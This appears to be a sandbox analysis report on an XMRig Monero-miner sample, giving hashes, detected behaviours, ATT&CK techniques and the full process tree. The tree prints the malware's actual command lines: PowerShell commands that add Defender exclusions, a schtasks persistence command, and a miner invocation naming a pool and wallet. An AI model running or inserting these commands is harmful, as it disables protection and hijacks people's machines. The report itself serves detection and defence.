xmrig | d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2

Analysis

max time kernel
93s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
03/12/2022, 16:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 869KB
Sample221203-ty8brsbb8s
SHA256 d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2
MD5 e8dc652bf8ad2a5d4ae605056246e7d5
SHA1 3bc3294c4949a22fc3ed0fbdad0499549885bffb
SHA512 9682f98a786c6e2ffc21c29f3abc9e02609b537f1cc8043f1d998d16f3f16be1c08ee5a77e3db51c02cc4490e96f890c853e1a493ac1e89e1b95aa8a4c095bc3
SSDEEP 12288:TIBK7N1jdQc4qZ+3IGv5+LPlHq06CXGG8ibgg6Ciz8kCoS:bjZQc4PNv0PGGQtokI
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/4356-193-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/4356-192-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4356-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4356-195-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4356-199-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4356-203-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2272	PBBNAXU.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	PBBNAXU.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2272 set thread context of 4356	2272	PBBNAXU.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5080	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1292	timeout.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
644	file.exe
644	file.exe
4608	powershell.exe
816	powershell.exe
4608	powershell.exe
816	powershell.exe
2272	PBBNAXU.exe
2272	PBBNAXU.exe
628	powershell.exe
4920	powershell.exe
4920	powershell.exe
628	powershell.exe
2272	PBBNAXU.exe
2272	PBBNAXU.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	file.exe
Token: SeDebugPrivilege	4608	powershell.exe
Token: SeDebugPrivilege	816	powershell.exe
Token: SeDebugPrivilege	2272	PBBNAXU.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	628	powershell.exe
Token: SeLockMemoryPrivilege	4356	vbc.exe
Token: SeLockMemoryPrivilege	4356	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4356	vbc.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 4608	644	file.exe	80
PID 644 wrote to memory of 4608	644	file.exe	80
PID 644 wrote to memory of 816	644	file.exe	84
PID 644 wrote to memory of 816	644	file.exe	84
PID 644 wrote to memory of 548	644	file.exe	83
PID 644 wrote to memory of 548	644	file.exe	83
PID 548 wrote to memory of 1292	548	cmd.exe	86
PID 548 wrote to memory of 1292	548	cmd.exe	86
PID 548 wrote to memory of 2272	548	cmd.exe	87
PID 548 wrote to memory of 2272	548	cmd.exe	87
PID 2272 wrote to memory of 628	2272	PBBNAXU.exe	88
PID 2272 wrote to memory of 628	2272	PBBNAXU.exe	88
PID 2272 wrote to memory of 4920	2272	PBBNAXU.exe	89
PID 2272 wrote to memory of 4920	2272	PBBNAXU.exe	89
PID 2272 wrote to memory of 2376	2272	PBBNAXU.exe	93
PID 2272 wrote to memory of 2376	2272	PBBNAXU.exe	93
PID 2376 wrote to memory of 5080	2376	cmd.exe	94
PID 2376 wrote to memory of 5080	2376	cmd.exe	94
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99
PID 2272 wrote to memory of 4356	2272	PBBNAXU.exe	99

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD007.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1292
- - C:\ProgramData\github\PBBNAXU.exe
    "C:\ProgramData\github\PBBNAXU.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:628
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4920
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PBBNAXU" /tr "C:\ProgramData\github\PBBNAXU.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2376
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PBBNAXU" /tr "C:\ProgramData\github\PBBNAXU.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:5080
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

PBBNAXU.exe

Path C:\ProgramData\github\PBBNAXU.exe
Size 869KB
SHA256 d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2
MD5 e8dc652bf8ad2a5d4ae605056246e7d5
SHA1 3bc3294c4949a22fc3ed0fbdad0499549885bffb
SHA512 9682f98a786c6e2ffc21c29f3abc9e02609b537f1cc8043f1d998d16f3f16be1c08ee5a77e3db51c02cc4490e96f890c853e1a493ac1e89e1b95aa8a4c095bc3
SSDEEP 12288:TIBK7N1jdQc4qZ+3IGv5+LPlHq06CXGG8ibgg6Ciz8kCoS:bjZQc4PNv0PGGQtokI
MD5 SHA1 SHA512 SSDEEP

Submit Download

PBBNAXU.exe

Path C:\ProgramData\github\PBBNAXU.exe
Size 869KB
SHA256 d78dd90e07a471cf39503ba78c0495097d7ab7c5a0f8ef64477208fc16bf36f2
MD5 e8dc652bf8ad2a5d4ae605056246e7d5
SHA1 3bc3294c4949a22fc3ed0fbdad0499549885bffb
SHA512 9682f98a786c6e2ffc21c29f3abc9e02609b537f1cc8043f1d998d16f3f16be1c08ee5a77e3db51c02cc4490e96f890c853e1a493ac1e89e1b95aa8a4c095bc3
SSDEEP 12288:TIBK7N1jdQc4qZ+3IGv5+LPlHq06CXGG8ibgg6Ciz8kCoS:bjZQc4PNv0PGGQtokI
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 ef33f487f93c2977e92fb08d6bdcc9d48b5d1864c402f9d3fbf3e1b30e8b3b9a
MD5 d3e8199b4634731cf0a0c26c1f14f588
SHA1 7f8fae27eb80055a436a6b5457978f32673d9ad4
SHA512 806a123100dbc1ca1b27bbad5b93c3a9a840dc795127af8523333a71259a8c5ef8aefccb83ef390f2644e013f138c4b7b63c584acccb197aada0c70c038032e2
MD5 SHA1 SHA512

Submit Download

tmpD007.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpD007.tmp.bat
Size 142B
SHA256 ccfce9b0704c73cbd8164ca265350ba09018ab43e5b9e931dc9f67327224ef9a
MD5 786ca9d98f0bf818944f44fe0f0c1329
SHA1 e18516bb6ff88ebda00d689bd17d7cf44439dd03
SHA512 e3eb437dbfccb0fc0c584784903ae3f1cb97ea0da88f316fa92c10eae2e5401078ab8a31a69b6e93df344086759ef43d7715c8f942fca69bb50a3ff2e5f71419
MD5 SHA1 SHA512

Submit Download

memory/628-187-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/628-182-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/644-141-0x00007FFCC8300000-0x00007FFCC832B000-memory.dmp

Download

memory/644-152-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/644-144-0x00007FFCAC110000-0x00007FFCAC25E000-memory.dmp

Download

memory/644-134-0x0000000000E20000-0x0000000000E62000-memory.dmp

Download

memory/644-143-0x0000000000E70000-0x0000000000FAE000-memory.dmp

Download

memory/644-150-0x0000000000E20000-0x0000000000E62000-memory.dmp

Download

memory/644-149-0x0000000000E70000-0x0000000000FAE000-memory.dmp

Download

memory/644-137-0x00007FFCC4330000-0x00007FFCC4342000-memory.dmp

Download

memory/644-135-0x00007FFCAC320000-0x00007FFCAC3CA000-memory.dmp

Download

memory/644-142-0x0000000000E70000-0x0000000000FAE000-memory.dmp

Download

memory/644-136-0x00007FFCC6EF0000-0x00007FFCC6F8E000-memory.dmp

Download

memory/644-145-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/644-132-0x0000000000E70000-0x0000000000FAE000-memory.dmp

Download

memory/644-140-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/644-139-0x00007FFCC6D40000-0x00007FFCC6EE1000-memory.dmp

Download

memory/644-138-0x00007FFCAC260000-0x00007FFCAC31D000-memory.dmp

Download

memory/816-155-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/816-160-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/816-151-0x000001D0B3220000-0x000001D0B3242000-memory.dmp

Download

memory/2272-170-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/2272-188-0x00007FFCA8590000-0x00007FFCA85C5000-memory.dmp

Download

memory/2272-168-0x00007FFCAC260000-0x00007FFCAC31D000-memory.dmp

Download

memory/2272-169-0x00007FFCC6D40000-0x00007FFCC6EE1000-memory.dmp

Download

memory/2272-166-0x00007FFCC6EF0000-0x00007FFCC6F8E000-memory.dmp

Download

memory/2272-171-0x00007FFCC8300000-0x00007FFCC832B000-memory.dmp

Download

memory/2272-172-0x0000000000490000-0x00000000005CE000-memory.dmp

Download

memory/2272-173-0x00007FFCABFC0000-0x00007FFCAC10E000-memory.dmp

Download

memory/2272-174-0x0000000000490000-0x00000000005CE000-memory.dmp

Download

memory/2272-175-0x0000000000FA0000-0x0000000000FE2000-memory.dmp

Download

memory/2272-202-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/2272-165-0x00007FFCAC320000-0x00007FFCAC3CA000-memory.dmp

Download

memory/2272-176-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/2272-201-0x0000000000490000-0x00000000005CE000-memory.dmp

Download

memory/2272-198-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/2272-197-0x0000000000490000-0x00000000005CE000-memory.dmp

Download

memory/2272-191-0x00007FFCC57E0000-0x00007FFCC581B000-memory.dmp

Download

memory/2272-190-0x00007FFCC83F0000-0x00007FFCC845B000-memory.dmp

Download

memory/2272-189-0x00007FFCA1EB0000-0x00007FFCA1FB2000-memory.dmp

Download

memory/2272-186-0x00007FFCC6410000-0x00007FFCC6437000-memory.dmp

Download

memory/2272-167-0x00007FFCC4330000-0x00007FFCC4342000-memory.dmp

Download

memory/4356-203-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/4356-199-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/4356-207-0x000001FF51480000-0x000001FF514A0000-memory.dmp

Download

memory/4356-206-0x000001FF51460000-0x000001FF51480000-memory.dmp

Download

memory/4356-192-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/4356-194-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/4356-195-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/4356-196-0x000001FF513E0000-0x000001FF51400000-memory.dmp

Download

memory/4356-205-0x000001FF51480000-0x000001FF514A0000-memory.dmp

Download

memory/4356-204-0x000001FF51460000-0x000001FF51480000-memory.dmp

Download

memory/4356-200-0x000001FF51420000-0x000001FF51460000-memory.dmp

Download

memory/4608-156-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/4608-157-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/4920-184-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download

memory/4920-183-0x00007FFCAAC70000-0x00007FFCAB731000-memory.dmp

Download